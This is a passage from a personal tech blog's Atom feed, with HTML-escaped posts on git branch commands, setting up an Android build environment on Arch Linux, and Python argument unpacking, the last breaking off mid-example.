&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="retrieve-changes-from-another-branch"&gt;
&lt;h2&gt;Retrieve changes from another branch&lt;/h2&gt;
&lt;p&gt;You can get the changes of one commit in another branch by using the cherry-pick
command. First you locate the commit hash (git commits are identifeid by their
hashes) by usin git log for example.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;cherry-pick&lt;span class="w"&gt; &lt;/span&gt;*commit_hash*
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You can pull changes from another remote branch by using the git pull command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;checkout&lt;span class="w"&gt; &lt;/span&gt;mybranch
git&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;origin&lt;span class="w"&gt; &lt;/span&gt;master
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you work on a local feature branch for example, it's probably better you
use the rebase command to apply your changes, i.e. all commits in your local
branch on top of the commits of another branch. Think of it as branching from
that other branch again, and adding all your commits on top of it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;checkout&lt;span class="w"&gt; &lt;/span&gt;mybranch
git&lt;span class="w"&gt; &lt;/span&gt;rebase&lt;span class="w"&gt; &lt;/span&gt;master
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="more-info"&gt;
&lt;h2&gt;More Info&lt;/h2&gt;
&lt;p&gt;git man pages
&lt;a class="reference external" href="http://book.git-scm.com/"&gt;http://book.git-scm.com/&lt;/a&gt;
&lt;a class="reference external" href="http://help.github.com/remotes/"&gt;http://help.github.com/remotes/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="clients"&gt;
&lt;h2&gt;Clients&lt;/h2&gt;
&lt;p&gt;I recommend to use the command line tools with *nix. gitk is nice to view
the history.&lt;/p&gt;
&lt;p&gt;Unfortunately I don't know much about Windows clients. Maybe I'll add someting
sometime.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="errata"&gt;
&lt;h2&gt;Errata&lt;/h2&gt;
&lt;p&gt;Check out this git cheat sheet: &lt;a class="reference external" href="http://ndpsoftware.com/git-cheatsheet.html"&gt;http://ndpsoftware.com/git-cheatsheet.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="other"></category><category term="git"></category><category term="coding"></category></entry><entry><title>Building Android on Arch Linux x86_64</title><link href="//f0rki.at/building-android-on-arch-linux-x86_64.html" rel="alternate"></link><published>2012-10-13T00:00:00+02:00</published><updated>2012-10-13T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2012-10-13:/building-android-on-arch-linux-x86_64.html</id><summary type="html">&lt;p&gt;So it turns out building Android on Arch isn't quite that straight forward, but
it is not impossible. There are some guides out there, but none of them is
really complete. So here are my steps to get the building started.&lt;/p&gt;
&lt;p&gt;First of all you need to enable multilib, if …&lt;/p&gt;</summary><content type="html">&lt;p&gt;So it turns out building Android on Arch isn't quite that straight forward, but
it is not impossible. There are some guides out there, but none of them is
really complete. So here are my steps to get the building started.&lt;/p&gt;
&lt;p&gt;First of all you need to enable multilib, if you haven't already
&lt;a class="footnote-reference" href="#archmultilib" id="footnote-reference-1"&gt;[1]&lt;/a&gt;. Also you will have to get some stuff from AUR &lt;a class="footnote-reference" href="#archaur" id="footnote-reference-2"&gt;[2]&lt;/a&gt;. I
use the yaourt wrapper to install AUR packages.&lt;/p&gt;
&lt;p&gt;Obviously you should have the android-sdk stuff installed. Also take a look at
the relevant page in the archlinux wiki &lt;a class="footnote-reference" href="#archwikiandroid" id="footnote-reference-3"&gt;[3]&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yaourt&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;android-sdk&lt;span class="w"&gt; &lt;/span&gt;android-sdk-platform-tools&lt;span class="w"&gt; &lt;/span&gt;android-udev&lt;span class="w"&gt; &lt;/span&gt;repo
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Get the following packages:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yaourt&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;gnupg&lt;span class="w"&gt; &lt;/span&gt;flex&lt;span class="w"&gt; &lt;/span&gt;bison&lt;span class="w"&gt; &lt;/span&gt;gperf&lt;span class="w"&gt; &lt;/span&gt;sdl&lt;span class="w"&gt; &lt;/span&gt;wxgtk&lt;span class="w"&gt; &lt;/span&gt;squashfs-tools&lt;span class="w"&gt; &lt;/span&gt;zip&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;ncurses&lt;span class="w"&gt; &lt;/span&gt;zlib&lt;span class="w"&gt; &lt;/span&gt;schedtool&lt;span class="w"&gt; &lt;/span&gt;zip&lt;span class="w"&gt; &lt;/span&gt;unzip
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And some other packages from multilib:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yaourt&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;lib32-zlib&lt;span class="w"&gt; &lt;/span&gt;lib32-ncurses&lt;span class="w"&gt; &lt;/span&gt;lib32-readline&lt;span class="w"&gt; &lt;/span&gt;gcc-libs-multilib&lt;span class="w"&gt; &lt;/span&gt;gcc-multilib&lt;span class="w"&gt; &lt;/span&gt;lib32-gcc-libs
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I found one guide &lt;a class="footnote-reference" href="#rootzwiki-arch-one" id="footnote-reference-4"&gt;[5]&lt;/a&gt;, which suggests downgrading perl, git
and make to match the versions suggested by Google/shipped with Ubuntu. This is
&lt;em&gt;not&lt;/em&gt; required. Latest git and make from arch repositories work just fine. But
you have to install the perl-switch packages to get back the switch statement
in perl, which is used in some scripts:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yaourt&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;perl-switch
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The next step is to get java. You can try to build android with openjdk6 or use
the Oracle JDK. The openjdk6 package in arch repository unfortunately conflicts
with jdk7-openjdk. So if you want to keep Java 7, you can install Oracle Java 6
from AUR:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;yaourt&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;jre6-compat&lt;span class="w"&gt; &lt;/span&gt;jdk6-compat
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;span class="strikethrough"&gt;To use the installed jdk6 you can use a script that is provided
with the packages:
&amp;quot;/opt/sun-java6/envsetup.sh&amp;quot;&lt;/span&gt;
Update: I just noticed that this isn't provided (anymore). You need to do this
manually.&lt;/p&gt;
&lt;p&gt;Now you have everything installed for building Android.&lt;/p&gt;
&lt;p&gt;The next problem you will encounter is that the Android build tools require that
/usr/bin/python symlinks to python version 2.X. Most guides suggest changing the
symlink for building android and then changing it back &lt;a class="footnote-reference" href="#archwikiandroid" id="footnote-reference-5"&gt;[3]&lt;/a&gt;
&lt;a class="footnote-reference" href="#rootzwiki-arch-one" id="footnote-reference-6"&gt;[5]&lt;/a&gt;. I think this is dangerous, because it could seriously
break other stuff. So I wouldn't do this if it is a daily used system. Instead
I created a directory with a symlink to python2 and put this directory in
$PATH, before the regular $PATH.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/opt/android-build
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/opt/android-build
ln&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;which&lt;span class="w"&gt; &lt;/span&gt;python2&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/opt/android-build:&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So now it's like we have python2 installed&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;-V
Python&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.7.3
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally I wrote a special bash .profile file for building Android:&lt;/p&gt;
&lt;pre class="code bash literal-block"&gt;
android-build-env&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Setting up \$PATH&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c1"&gt;# Android tools
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/opt/android-sdk/tools:/opt/android-sdk/platform-tools:/opt/android-build:&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c1"&gt;# Java6
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;J2SDKDIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt/java6&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt/java6/bin:/opt/java6/db/bin:&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;JAVA_HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt/java6&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;DERBY_HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/opt/java6/db&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c1"&gt;# CCACHE
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;USE_CCACHE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Changing directory&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cm&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$CMSRCDIR&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$CMSRCDIR&lt;/span&gt;&lt;span class="s2"&gt;/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin/:&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$AOSPSRCDIR&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$AOSPSRCDIR&lt;/span&gt;&lt;span class="s2"&gt;/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin/:&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;SUBARCH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CROSS_COMPILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;arm-eabi-&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Including android build source&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CCACHE_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;./.ccache&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c1"&gt;# hmmm not enough space :( for such a big cache... let's leave default
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#./prebuilts/misc/linux-x86/ccache/ccache -M 50G
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;build/envsetup.sh&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c1"&gt;# reading for building androids
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#clear
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cm&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;### CM10 Build Environment ###&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;### AOSP Build Environment ###&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;I hope I didn't forget anything here. Please tell me if there's something
missing.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="archmultilib" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://wiki.archlinux.org/index.php/Arch64_FAQ#Multilib_Repository_-_Multilib_Project"&gt;https://wiki.archlinux.org/index.php/Arch64_FAQ#Multilib_Repository_-_Multilib_Project&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="archaur" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://wiki.archlinux.org/index.php/AUR"&gt;https://wiki.archlinux.org/index.php/AUR&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="archwikiandroid" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-3"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-5"&gt;2&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="https://wiki.archlinux.org/index.php/Android#Building_Android"&gt;https://wiki.archlinux.org/index.php/Android#Building_Android&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="cna-developer-tut" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[4]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://codenameandroid.com/how-to-setting-up-a-linux-development-environment/"&gt;http://codenameandroid.com/how-to-setting-up-a-linux-development-environment/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="rootzwiki-arch-one" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[5]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-4"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-6"&gt;2&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="http://rootzwiki.com/topic/9287-how-to-setup-android-build-environment-on-arch-linux-64bit/"&gt;http://rootzwiki.com/topic/9287-how-to-setup-android-build-environment-on-arch-linux-64bit/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="rootzwiki-arch-two" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[6]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://rootzwiki.com/topic/9287-how-to-setup-android-build-environment-on-arch-linux-64bit/page__st__60#entry854543"&gt;http://rootzwiki.com/topic/9287-how-to-setup-android-build-environment-on-arch-linux-64bit/page__st__60#entry854543&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="xda-buildenvscript" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;[7]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://forum.xda-developers.com/showpost.php?p=30998147&amp;amp;postcount=17"&gt;http://forum.xda-developers.com/showpost.php?p=30998147&amp;amp;postcount=17&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content><category term="android"></category><category term="android"></category><category term="archlinux"></category></entry><entry><title>Did you know about Python?</title><link href="//f0rki.at/did-you-know-about-python.html" rel="alternate"></link><published>2012-02-22T00:00:00+01:00</published><updated>2012-02-22T00:00:00+01:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2012-02-22:/did-you-know-about-python.html</id><summary type="html">&lt;p&gt;Well this is so neat, that I have to share it here. :)
So today I learned something fancy about python. Some more syntactic sugar. Oh I know why I code most of my stuff in python. So let's assume we define a function like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c …&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Well this is so neat, that I have to share it here. :)
So today I learned something fancy about python. Some more syntactic sugar. Oh I know why I code most of my stuff in python. So let's assume we define a function like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And we have a list of arguments (for whatever reason), which we like to pass to the function.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;alist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alist&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;alist&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;alist&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Well this is annoying, but fortunately python has some syntactic sugar :)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;alist&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The list has to contain exactly the number of arguments.&lt;/p&gt;
&lt;p&gt;This looks similar to the definition of function with a variable number of parameters:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
